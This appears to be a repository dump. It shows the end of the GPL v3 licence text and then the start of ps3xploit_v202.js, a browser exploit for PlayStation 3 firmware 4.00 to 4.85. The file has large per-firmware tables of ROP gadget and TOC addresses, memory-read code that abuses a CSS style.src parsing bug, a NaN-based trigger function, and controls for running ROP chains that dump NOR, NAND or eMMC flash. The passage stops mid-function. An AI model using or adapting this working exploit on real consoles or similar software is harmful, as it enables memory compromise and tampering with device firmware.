Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /ps3xploit_v202.js: -------------------------------------------------------------------------------- 1 | var debug=false; 2 | var br="
"; 3 | var hr="
"; 4 | var t_out=0; 5 | var total_loops=0; 6 | var max_loops=20; 7 | var sp_exit=0x8FD8DCC0; 8 | var toc_addr=0; 9 | var gadget1_addr=0; 10 | var gadget2_addr=0; 11 | var gadget3_addr=0; 12 | var gadget4_addr=0; 13 | var gadget5_addr=0; 14 | var gadget6_addr=0; 15 | var gadget7_addr=0; 16 | var gadget8_addr=0; 17 | var usb_fp,stack_frame,jump_2,jump_1; 18 | var usb_fp_addr,stack_frame_addr,jump_2_addr,jump_1_addr; 19 | var used_port=0; 20 | var n, y, m, d; 21 | //DEX 4.81 22 | var toc_addr_481_d = 0x705610; 23 | var gadget1_addr_481_d=0x0DEBD8; 24 | var gadget2_addr_481_d=0x0976BC; 25 | var gadget3_addr_481_d=0x6161B8; 26 | var gadget4_addr_481_d=0x1A43FC; 27 | var gadget5_addr_481_d=0x434368; 28 | var gadget6_addr_481_d=0x42B708; 29 | var gadget7_addr_481_d=0x62F814; 30 | var gadget8_addr_481_d=0x2C24DC; 31 | //CEX 4.00 32 | var toc_addr_400 = 0x6E4C20; 33 | var gadget1_addr_400=0x0D8644; 34 | var gadget2_addr_400=0x096EC0; 35 | var gadget3_addr_400=0x5FE0A0; 36 | var gadget4_addr_400=0x196310; 37 | var gadget5_addr_400=0x41F6E0; 38 | var gadget6_addr_400=0x416AE8; 39 | var gadget7_addr_400=0x616250; 40 | var gadget8_addr_400=0x2AA664; 41 | 42 | //CEX 4.10 43 | var toc_addr_410 = 0x6E4D50; 44 | var gadget1_addr_410=0x0D8634; 45 | var gadget2_addr_410=0x096EC0; 46 | var gadget3_addr_410=0x600728; 47 | var gadget4_addr_410=0x196994; 48 | var gadget5_addr_410=0x421B18; 49 | var gadget6_addr_410=0x418F20; 50 | var gadget7_addr_410=0x618DF8; 51 | var gadget8_addr_410=0x2ACAE0; 52 | 53 | //CEX 4.11 54 | var toc_addr_411 = 0x6E4D50; 55 | var gadget1_addr_411=0x0D8668; 56 | var gadget2_addr_411=0x096EC0; 57 | var gadget3_addr_411=0x600764; 58 | var gadget4_addr_411=0x1969C8; 59 | var gadget5_addr_411=0x421B50; 60 | var gadget6_addr_411=0x418F58; 61 | var gadget7_addr_411=0x618E34; 62 | var gadget8_addr_411=0x2ACB18; 63 | 64 | //CEX 4.20 65 | var toc_addr_420 = 0x6F5120; 66 | var gadget1_addr_420=0x0D8FB8; 67 | var gadget2_addr_420=0x0970DC; 68 | var gadget3_addr_420=0x608764; 69 | var gadget4_addr_420=0x19B4C4; 70 | var gadget5_addr_420=0x428304; 71 | var gadget6_addr_420=0x41F70C; 72 | var gadget7_addr_420=0x621D84; 73 | var gadget8_addr_420=0x2B2F8C; 74 | 75 | //CEX 4.21 76 | var toc_addr_421 = 0x6F5120; 77 | var gadget1_addr_421=0x0D8F68; 78 | var gadget2_addr_421=0x0970DC; 79 | var gadget3_addr_421=0x608498; 80 | var gadget4_addr_421=0x19B4C4; 81 | var gadget5_addr_421=0x428034; 82 | var gadget6_addr_421=0x41F43C; 83 | var gadget7_addr_421=0x621598; 84 | var gadget8_addr_421=0x2B2F90; 85 | 86 | //CEX 4.25 87 | var toc_addr_425 = 0x6F5128; 88 | var gadget1_addr_425=0x0D8FC0; 89 | var gadget2_addr_425=0x0970DC; 90 | var gadget3_addr_425=0x60850C; 91 | var gadget4_addr_425=0x19B4B4; 92 | var gadget5_addr_425=0x42809C; 93 | var gadget6_addr_425=0x41F4A4; 94 | var gadget7_addr_425=0x621B2C; 95 | var gadget8_addr_425=0x2B2FF8; 96 | 97 | //CEX 4.30 98 | var toc_addr_430 = 0x6F5220; 99 | var gadget1_addr_430=0x0D95A0; 100 | var gadget2_addr_430=0x09728C; 101 | var gadget3_addr_430=0x609F54; 102 | var gadget4_addr_430=0x19BF94; 103 | var gadget5_addr_430=0x429670; 104 | var gadget6_addr_430=0x420A78; 105 | var gadget7_addr_430=0x623574; 106 | var gadget8_addr_430=0x2B3AA4; 107 | 108 | //DEX 4.31 109 | // var toc_addr_431 = 0x6F5310; 110 | // var gadget1_addr_431=0x0DEE70; 111 | // var gadget2_addr_431=0x09728C; 112 | // var gadget3_addr_431=0x611B68; 113 | // var gadget4_addr_431=0x1A2FD0; 114 | // var gadget5_addr_431=0x431258; 115 | // var gadget6_addr_431=0x428660; 116 | // var gadget7_addr_431=0x62AC68; 117 | // var gadget8_addr_431=0x2BB2C0; 118 | 119 | //CEX 4.31 120 | var toc_addr_431 = 0x6F5220; 121 | var gadget1_addr_431=0x0D95A0; 122 | var gadget2_addr_431=0x097344; 123 | var gadget3_addr_431=0x609F5C; 124 | var gadget4_addr_431=0x19BF94; 125 | var gadget5_addr_431=0x429674; 126 | var gadget6_addr_431=0x420A7C; 127 | var gadget7_addr_431=0x62357C; 128 | var gadget8_addr_431=0x2B3AA8; 129 | 130 | //CEX 4.40 131 | var toc_addr_440 = 0x6F5368; 132 | var gadget1_addr_440=0x0D95A8; 133 | var gadget2_addr_440=0x09728C; 134 | var gadget3_addr_440=0x60C31C; 135 | var gadget4_addr_440=0x19C09C; 136 | var gadget5_addr_440=0x42B700; 137 | var gadget6_addr_440=0x422B08; 138 | var gadget7_addr_440=0x62593C; 139 | var gadget8_addr_440=0x2B4A40; 140 | 141 | //CEX 4.41 142 | var toc_addr_441 = 0x6F5368; 143 | var gadget1_addr_441=0x0D95A8; 144 | var gadget2_addr_441=0x09728C; 145 | var gadget3_addr_441=0x60C324; 146 | var gadget4_addr_441=0x19C09C; 147 | var gadget5_addr_441=0x42B704; 148 | var gadget6_addr_441=0x422B0C; 149 | var gadget7_addr_441=0x625424; 150 | var gadget8_addr_441=0x2B4A44; 151 | 152 | //CEX 4.45 153 | var toc_addr_445 = 0x6F5630; 154 | var gadget1_addr_445=0x0D95A8; 155 | var gadget2_addr_445=0x09728C; 156 | var gadget3_addr_445=0x60CF3C; 157 | var gadget4_addr_445=0x19C09C; 158 | var gadget5_addr_445=0x42C30C; 159 | var gadget6_addr_445=0x423714; 160 | var gadget7_addr_445=0x62603C; 161 | var gadget8_addr_445=0x2B5720; 162 | 163 | //CEX 4.46 164 | var toc_addr_446 = 0x6F5630; 165 | var gadget1_addr_446=0x0D95A8; 166 | var gadget2_addr_446=0x09728C; 167 | var gadget3_addr_446=0x60CF3C; 168 | var gadget4_addr_446=0x19C09C; 169 | var gadget5_addr_446=0x42C30C; 170 | var gadget6_addr_446=0x423714; 171 | var gadget7_addr_446=0x62655C; 172 | var gadget8_addr_446=0x2B5720; 173 | 174 | //CEX 4.50 175 | var toc_addr_450 = 0x6F5CB0; 176 | var gadget1_addr_450=0x0D9484; 177 | var gadget2_addr_450=0x09732C; 178 | var gadget3_addr_450=0x60C380; 179 | var gadget4_addr_450=0x19C2D0; 180 | var gadget5_addr_450=0x42B514; 181 | var gadget6_addr_450=0x42291C; 182 | var gadget7_addr_450=0x6254BC; 183 | var gadget8_addr_450=0x2B6E84; 184 | 185 | //CEX 4.53 186 | var toc_addr_453 = 0x6F5CC8; 187 | var gadget1_addr_453=0x0D94A0; 188 | var gadget2_addr_453=0x09732C; 189 | var gadget3_addr_453=0x60C768; 190 | var gadget4_addr_453=0x19C300; 191 | var gadget5_addr_453=0x42B898; 192 | var gadget6_addr_453=0x422CA0; 193 | var gadget7_addr_453=0x6258A4; 194 | var gadget8_addr_453=0x2B7160; 195 | 196 | //CEX 4.55 197 | var toc_addr_455 = 0x6F5CC8; 198 | var gadget1_addr_455=0x0D9450; 199 | var gadget2_addr_455=0x09732C; 200 | var gadget3_addr_455=0x60D554; 201 | var gadget4_addr_455=0x19C300; 202 | var gadget5_addr_455=0x42C684; 203 | var gadget6_addr_455=0x423A8C; 204 | var gadget7_addr_455=0x626690; 205 | var gadget8_addr_455=0x2B7F4C; 206 | 207 | //DEX 4.60 208 | // var toc_addr_460 = 0x705E98; 209 | // var gadget1_addr_460=0x0DED30; 210 | // var gadget2_addr_460=0x09739C; 211 | // var gadget3_addr_460=0x618CB0; 212 | // var gadget4_addr_460=0x1A4108; 213 | // var gadget5_addr_460=0x435F5C; 214 | // var gadget6_addr_460=0x42D2FC; 215 | // var gadget7_addr_460=0x631DEC; 216 | // var gadget8_addr_460=0x2C0EA8; 217 | 218 | //CEX 4.60 219 | var toc_addr_460 = 0x6F5DA8; 220 | var gadget1_addr_460=0x0D9468; 221 | var gadget2_addr_460=0x0972E4; 222 | var gadget3_addr_460=0x611094; 223 | var gadget4_addr_460=0x19D0BC; 224 | var gadget5_addr_460=0x42E368; 225 | var gadget6_addr_460=0x425708; 226 | var gadget7_addr_460=0x62A1D0; 227 | var gadget8_addr_460=0x2B9680; 228 | 229 | //CEX 4.65 230 | var toc_addr_465 = 0x6F5DB0; 231 | var gadget1_addr_465=0x0D9468; 232 | var gadget2_addr_465=0x0972E4; 233 | var gadget3_addr_465=0x6110F4; 234 | var gadget4_addr_465=0x19D114; 235 | var gadget5_addr_465=0x42E3C4; 236 | var gadget6_addr_465=0x425764; 237 | var gadget7_addr_465=0x62A750; 238 | var gadget8_addr_465=0x2B96DC; 239 | 240 | //CEX 4.66--> 241 | var toc_addr_466 = 0x6F5DC0; 242 | var gadget1_addr_466=0x0D9468; 243 | var gadget2_addr_466=0x0972E4; 244 | var gadget3_addr_466=0x611414; 245 | var gadget4_addr_466=0x19D114; 246 | var gadget5_addr_466=0x42E3C4; 247 | var gadget6_addr_466=0x425764; 248 | var gadget7_addr_466=0x62A550; 249 | var gadget8_addr_466=0x2B96DC; 250 | 251 | //CEX 4.70 252 | var toc_addr_470 = 0x6F5E30; 253 | var gadget1_addr_470=0x0D9364; 254 | var gadget2_addr_470=0x0972E4; 255 | var gadget3_addr_470=0x611F84; 256 | var gadget4_addr_470=0x19D07C; 257 | var gadget5_addr_470=0x42EBCC; 258 | var gadget6_addr_470=0x425F6C; 259 | var gadget7_addr_470=0x62B5E0; 260 | var gadget8_addr_470=0x2B9EB4; 261 | 262 | //CEX 4.75 263 | var toc_addr_475 = 0x6F57E8; 264 | var gadget1_addr_475=0x0D9364; 265 | var gadget2_addr_475=0x0972E4; 266 | var gadget3_addr_475=0x6107E4; 267 | var gadget4_addr_475=0x19D078; 268 | var gadget5_addr_475=0x42F188; 269 | var gadget6_addr_475=0x426528; 270 | var gadget7_addr_475=0x629E40; 271 | var gadget8_addr_475=0x2BA470; 272 | 273 | //CEX 4.76 274 | var toc_addr_476 = 0x6F57E8; 275 | var gadget1_addr_476=0x0D9364; 276 | var gadget2_addr_476=0x0972E4; 277 | var gadget3_addr_476=0x6107E4; 278 | var gadget4_addr_476=0x19D078; 279 | var gadget5_addr_476=0x42F188; 280 | var gadget6_addr_476=0x426528; 281 | var gadget7_addr_476=0x629E40; 282 | var gadget8_addr_476=0x2BA470; 283 | 284 | //CEX 4.78 285 | var toc_addr_478 = 0x6F5780; 286 | var gadget1_addr_478=0x0D9364; 287 | var gadget2_addr_478=0x0972E4; 288 | var gadget3_addr_478=0x60DAE0; 289 | var gadget4_addr_478=0x19D078; 290 | var gadget5_addr_478=0x42C3F8; 291 | var gadget6_addr_478=0x423798; 292 | var gadget7_addr_478=0x62713C; 293 | var gadget8_addr_478=0x2BA968; 294 | 295 | //CEX 4.80 296 | var toc_addr_480 = 0x6F5520; 297 | var gadget1_addr_480=0x0D9684; 298 | var gadget2_addr_480=0x097604; 299 | var gadget3_addr_480=0x60E588; 300 | var gadget4_addr_480=0x19D3B0; 301 | var gadget5_addr_480=0x42C780; 302 | var gadget6_addr_480=0x423B20; 303 | var gadget7_addr_480=0x627BE4; 304 | var gadget8_addr_480=0x2BACB0; 305 | 306 | //CEX 4.81 307 | var toc_addr_481 = 0x6F5520; 308 | var gadget1_addr_481=0x0D9684; 309 | var gadget2_addr_481=0x097604; 310 | var gadget3_addr_481=0x60E59C; 311 | var gadget4_addr_481=0x19D3B0; 312 | var gadget5_addr_481=0x42C774; 313 | var gadget6_addr_481=0x423B14; 314 | var gadget7_addr_481=0x627BF8; 315 | var gadget8_addr_481=0x2BACB4; 316 | 317 | //CEX 4.82 318 | var toc_addr_482 = 0x6F5550; 319 | var gadget1_addr_482=0x0D9684; 320 | var gadget2_addr_482=0x097604; 321 | var gadget3_addr_482=0x60EF38; 322 | var gadget4_addr_482=0x19D3B0; 323 | var gadget5_addr_482=0x42C778; 324 | var gadget6_addr_482=0x423B18; 325 | var gadget7_addr_482=0x628594; 326 | var gadget8_addr_482=0x2BACB8; 327 | 328 | //CEX 4.83 329 | var toc_addr_483 = 0x6F5558; 330 | var gadget1_addr_483=0x0D9684; 331 | var gadget2_addr_483=0x097604; 332 | var gadget3_addr_483=0x60EFD8; 333 | var gadget4_addr_483=0x19D3B0; 334 | var gadget5_addr_483=0x42C778; 335 | var gadget6_addr_483=0x423B18; 336 | var gadget7_addr_483=0x628594; 337 | var gadget8_addr_483=0x2BACB8; 338 | 339 | //CEX 4.84 340 | var toc_addr_484 = 0x6F5558; 341 | var gadget1_addr_484=0x0D9684; 342 | var gadget2_addr_484=0x097604; 343 | var gadget3_addr_484=0x60EFD8; 344 | var gadget4_addr_484=0x19D3B0; 345 | var gadget5_addr_484=0x42C778; 346 | var gadget6_addr_484=0x423B18; 347 | var gadget7_addr_484=0x628594; 348 | var gadget8_addr_484=0x2BACB8; 349 | 350 | //CEX 4.85 351 | var toc_addr_485 = 0x6F5558; 352 | var gadget1_addr_485=0x0D9684; 353 | var gadget2_addr_485=0x097604; 354 | var gadget3_addr_485=0x60EFD8; 355 | var gadget4_addr_485=0x19D3B0; 356 | var gadget5_addr_485=0x42C778; 357 | var gadget6_addr_485=0x423B18; 358 | var gadget7_addr_485=0x628594; 359 | var gadget8_addr_485=0x2BACB8; 360 | 361 | function asciiAt(str, i){ 362 | return str.charCodeAt(i)&0xFF; 363 | } 364 | function str2ascii(str){ 365 | var ascii = ""; 366 | var i = 0; 367 | for (; i < str.length; i++){ascii += str.charCodeAt(i).toString(16);} 368 | return ascii; 369 | } 370 | function hexh2bin(hex_val) 371 | { 372 | return String.fromCharCode(hex_val); 373 | 374 | } 375 | function hexw2bin(hex_val) 376 | { 377 | return String.fromCharCode(hex_val >> 16) + String.fromCharCode(hex_val); 378 | } 379 | function s2hex(str){ 380 | var hex = []; 381 | var i = 0; 382 | for (;i < str.length; i++) { 383 | hex.push(hex16(str.charCodeAt(i).toString(16))); 384 | } 385 | return hex.join(""); 386 | } 387 | function hex32(s){ 388 | return ('00000000' + s).substr(-8); 389 | } 390 | function hex16(s){ 391 | return ('0000' + s).substr(-4) 392 | } 393 | function hex8(s){ 394 | return ('00' + s).substr(-2); 395 | } 396 | function convertString(str) { 397 | var asciistr = str2ascii(str); 398 | if((asciistr.length%4)!=0)asciistr+='00'; 399 | var asciichr; 400 | var ret = []; 401 | var i; 402 | var len; 403 | for(i = 0, len = asciistr.length; i < len; i += 4) { 404 | asciichr = asciistr.substr(i, 4); 405 | ret.push(String.fromCharCode(parseInt(asciichr, 16))); 406 | } 407 | return ret.join(''); 408 | } 409 | function sleep(milliseconds){ 410 | var start = new Date().getTime(); 411 | for (var i = 0; i < 1e7; i++) { 412 | if ((new Date().getTime() - start) > milliseconds)break; 413 | } 414 | } 415 | function logAdd(txt) 416 | { 417 | if(debug===true) 418 | { 419 | if(document.getElementById('log').innerHTML==="")setInnerHTML(document.getElementById('log'),hr); 420 | addInnerHTML(document.getElementById('log'),txt + br); 421 | } 422 | } 423 | function clearLogEntry() 424 | { 425 | setInnerHTML(document.getElementById('log'),""); 426 | } 427 | function writeEnvInfo() 428 | { 429 | setInnerHTML(document.getElementById('footer'),hr+"

PS3 System Browser Info:

"+navigator.userAgent+br+navigator.appName+" (" + navigator.platform + ")"+br+new Date().toTimeString() + br); 430 | } 431 | function setCharAt(str,index,chr) 432 | { 433 | if(index > str.length-1) return str; 434 | return str.substr(0,index) + chr + str.substr(index+1); 435 | } 436 | String.prototype.replaceAt=function(index, ch) 437 | { 438 | return this.substr(0, index) + ch + this.substr(index+ch.length); 439 | } 440 | 441 | //######################################################################################################################################################################### 442 | 443 | Number.prototype.noExponents=function() 444 | { 445 | var data= String(this).split(/[eE]/); 446 | if(data.length== 1) return data[0]; 447 | var z= '', sign= this<0? '-':'', 448 | str= data[0].replace('.', ''), 449 | mag= Number(data[1])+ 1; 450 | if(mag<0){ 451 | z= sign + '0.'; 452 | while(mag++) z += '0'; 453 | return z + str.replace(/^\-/,''); 454 | } 455 | mag -= str.length; 456 | while(mag--) z += '0'; 457 | return str + z; 458 | } 459 | function fromIEEE754(bytes, ebits, fbits) 460 | { 461 | var retNumber = 0; 462 | var bits = []; 463 | for (var i = bytes.length; i; i -= 1) 464 | { 465 | var byte = bytes[i - 1]; 466 | for (var j = 8; j; j -= 1) 467 | { 468 | bits.push(byte % 2 ? 1 : 0); byte = byte >> 1; 469 | } 470 | } 471 | bits.reverse(); 472 | var str = bits.join(''); 473 | var bias = (1 << (ebits - 1)) - 1; 474 | var s = parseInt(str.substring(0, 1), 2) ? -1 : 1; 475 | var e = parseInt(str.substring(1, 1 + ebits), 2); 476 | var f = parseInt(str.substring(1 + ebits), 2); 477 | if (e === (1 << ebits) - 1) 478 | { 479 | retNumber = f !== 0 ? NaN : s * Infinity; 480 | } 481 | else if (e > 0) 482 | { 483 | retNumber = s * Math.pow(2, e - bias) * (1 + f / Math.pow(2, fbits)); 484 | } 485 | else if (f !== 0) 486 | { 487 | retNumber = s * Math.pow(2, -(bias-1)) * (f / Math.pow(2, fbits)); 488 | } 489 | else 490 | { 491 | retNumber = s * 0; 492 | } 493 | return retNumber.noExponents(); 494 | } 495 | function generateIEEE754(address, size) 496 | { 497 | var hex = new Array 498 | ( 499 | (address >> 24) & 0xFF, 500 | (address >> 16) & 0xFF, 501 | (address >> 8) & 0xFF, 502 | (address) & 0xFF, 503 | 504 | (size >> 24) & 0xFF, 505 | (size >> 16) & 0xFF, 506 | (size >> 8) & 0xFF, 507 | (size) & 0xFF 508 | ); 509 | return fromIEEE754(hex, 11, 52); 510 | } 511 | function generateExploit(address, size) 512 | { 513 | var n = (address<<32) | ((size>>1)-1); 514 | return generateIEEE754(address, (n-address)); 515 | } 516 | 517 | function readMemory(address, size) 518 | { 519 | if(document.getElementById('exploit'))document.getElementById('exploit').style.src = "local(" + generateExploit(address, size) + ")"; 520 | else logAdd("Malformed HTML!"); 521 | } 522 | function checkMemory(address, size, len) 523 | { 524 | if(document.getElementById('exploit')) 525 | { 526 | readMemory(address, size); 527 | if((debug===true)) 528 | { 529 | var x=document.getElementById('exploit').style.src.substr(6,len); 530 | logAdd("checkMemory: "+s2hex(x)); 531 | return x; 532 | } 533 | return document.getElementById('exploit').style.src.substr(6,len); 534 | } 535 | else logAdd("Malformed HTML!"); 536 | } 537 | 538 | function trigger(exploit_addr){ 539 | if(document.getElementById('trigger'))document.getElementById("trigger").innerHTML = -parseFloat("NAN(ffffe" + exploit_addr.toString(16) + ")"); 540 | else logAdd("Malformed HTML!"); 541 | } 542 | 543 | //#################################################################################################################################################################### 544 | function success(str) 545 | { 546 | // operations to execute on ROP exit 547 | showResult(str); 548 | } 549 | function setInnerHTML(elem,str) 550 | { 551 | if(elem)elem.innerHTML=str; 552 | } 553 | function addInnerHTML(elem,str) 554 | { 555 | if(elem)elem.innerHTML+=str; 556 | } 557 | function setVisible(elem) 558 | { 559 | if(elem)elem.style.visibility='visible'; 560 | } 561 | function setInvisible(elem) 562 | { 563 | if(elem)elem.style.visibility='hidden'; 564 | } 565 | function enable_element(elem) 566 | { 567 | if(elem)elem.disabled=false; 568 | } 569 | function disable_element(elem) 570 | { 571 | if(elem)elem.disabled=true; 572 | } 573 | function cbcheck(elem) 574 | { 575 | if(elem)elem.checked=true; 576 | } 577 | function cbuncheck(elem) 578 | { 579 | if(elem)elem.checked=false; 580 | } 581 | function enable_trigger() 582 | { 583 | enable_element(document.getElementById('btnTrigger')); 584 | enable_element(document.getElementById('btnReset')); 585 | enable_element(document.getElementById('dex')); 586 | 587 | } 588 | function resetOptions(cleanResult) 589 | { 590 | cbcheck(document.getElementById('usb0')); 591 | cbuncheck(document.getElementById('usb1')); 592 | cbuncheck(document.getElementById('usb6')); 593 | cbuncheck(document.getElementById('sd')); 594 | cbuncheck(document.getElementById('cf')); 595 | cbuncheck(document.getElementById('ms')); 596 | if(cleanResult==true)setInnerHTML(document.getElementById('result'),""); 597 | cleanGUI(); 598 | used_port=0; 599 | } 600 | function cleanGUI() 601 | { 602 | enable_cb(); 603 | enable_btn(); 604 | disable_element(document.getElementById('btnTrigger')); 605 | setInnerHTML(document.getElementById('step2'),"

Wait for the exploit initialization to succeed...

"); 606 | setInnerHTML(document.getElementById('log'),""); 607 | t_out=0; 608 | total_loops=0; 609 | } 610 | function disable_cb() 611 | { 612 | disable_element(document.getElementById('usb0')); 613 | disable_element(document.getElementById('usb1')); 614 | disable_element(document.getElementById('usb6')); 615 | disable_element(document.getElementById('sd')); 616 | disable_element(document.getElementById('cf')); 617 | disable_element(document.getElementById('ms')); 618 | disable_element(document.getElementById('dex')); 619 | } 620 | function enable_cb() 621 | { 622 | enable_element(document.getElementById('usb0')); 623 | enable_element(document.getElementById('usb1')); 624 | enable_element(document.getElementById('usb6')); 625 | enable_element(document.getElementById('sd')); 626 | enable_element(document.getElementById('cf')); 627 | enable_element(document.getElementById('ms')); 628 | enable_element(document.getElementById('dex')); 629 | } 630 | function disable_btn() 631 | { 632 | disable_element(document.getElementById('btnROP')); 633 | disable_element(document.getElementById('btnReset')); 634 | disable_element(document.getElementById('btnTrigger')); 635 | disable_element(document.getElementById('btnRopNor')); 636 | disable_element(document.getElementById('btnRopNand')); 637 | disable_element(document.getElementById('btnRopemmc')); 638 | } 639 | function enable_btn() 640 | { 641 | enable_element(document.getElementById('btnROP')); 642 | enable_element(document.getElementById('btnReset')); 643 | enable_element(document.getElementById('btnTrigger')); 644 | enable_element(document.getElementById('btnRopNor')); 645 | enable_element(document.getElementById('btnRopNand')); 646 | enable_element(document.getElementById('btnRopemmc')); 647 | } 648 | function usb(port) 649 | { 650 | var usb_0=null, usb_1=null, usb_6=null, sd_0=null, cf_0=null, ms_0=null; 651 | if(document.getElementById('usb0'))usb_0=document.getElementById('usb0'); 652 | if(document.getElementById('usb1'))usb_1=document.getElementById('usb1'); 653 | if(document.getElementById('usb6'))usb_6=document.getElementById('usb6'); 654 | if(document.getElementById('sd'))sd_0=document.getElementById('sd'); 655 | if(document.getElementById('cf'))cf_0=document.getElementById('cf'); 656 | if(document.getElementById('ms'))ms_0=document.getElementById('ms'); 657 | if((usb_0!==null)&&(usb_1!==null)&&(usb_6!==null)&&(sd_0!==null)&&(cf_0!==null)&&(ms_0!==null)) 658 | { 659 | if((sd_0.checked===false)&&(cf_0.checked===false)&&(ms_0.checked===false)&&(usb_0.checked===false)&&(usb_1.checked===false)&&(usb_6.checked===false)){usb_0.checked=true;port=0;} 660 | } 661 | else if((usb_0!==null)&&(usb_1!==null)&&(usb_6!==null)) 662 | { 663 | if((usb_0.checked===false)&&(usb_1.checked===false)&&(usb_6.checked===false)){usb_0.checked=true;port=0;} 664 | } 665 | else 666 | { 667 | logAdd("Malformed HTML checkbox options!"); 668 | return; 669 | } 670 | 671 | switch (port){ 672 | case 1: 673 | used_port=1; 674 | cbuncheck(usb_0); 675 | cbuncheck(usb_6); 676 | cbuncheck(sd_0); 677 | cbuncheck(cf_0); 678 | cbuncheck(ms_0); 679 | 680 | break; 681 | case 6: 682 | used_port=6; 683 | cbuncheck(usb_0); 684 | cbuncheck(usb_1); 685 | cbuncheck(sd_0); 686 | cbuncheck(cf_0); 687 | cbuncheck(ms_0); 688 | break; 689 | 690 | case 1000: 691 | used_port=1000; 692 | cbuncheck(usb_0); 693 | cbuncheck(usb_1); 694 | cbuncheck(usb_6); 695 | cbuncheck(cf_0); 696 | cbuncheck(ms_0); 697 | break; 698 | case 1001: 699 | used_port=1001; 700 | cbuncheck(usb_0); 701 | cbuncheck(usb_1); 702 | cbuncheck(usb_6); 703 | cbuncheck(sd_0); 704 | cbuncheck(ms_0); 705 | break; 706 | case 1002: 707 | used_port=1002; 708 | cbuncheck(usb_0); 709 | cbuncheck(usb_1); 710 | cbuncheck(usb_6); 711 | cbuncheck(sd_0); 712 | cbuncheck(cf_0); 713 | break; 714 | default: 715 | used_port=0; 716 | cbuncheck(usb_1); 717 | cbuncheck(usb_6); 718 | cbuncheck(sd_0); 719 | cbuncheck(cf_0); 720 | cbuncheck(ms_0); 721 | break; 722 | } 723 | } 724 | function dex() 725 | { 726 | if(document.getElementById('dex')) 727 | { 728 | if(document.getElementById('dex').checked==true) 729 | { 730 | toc_addr = 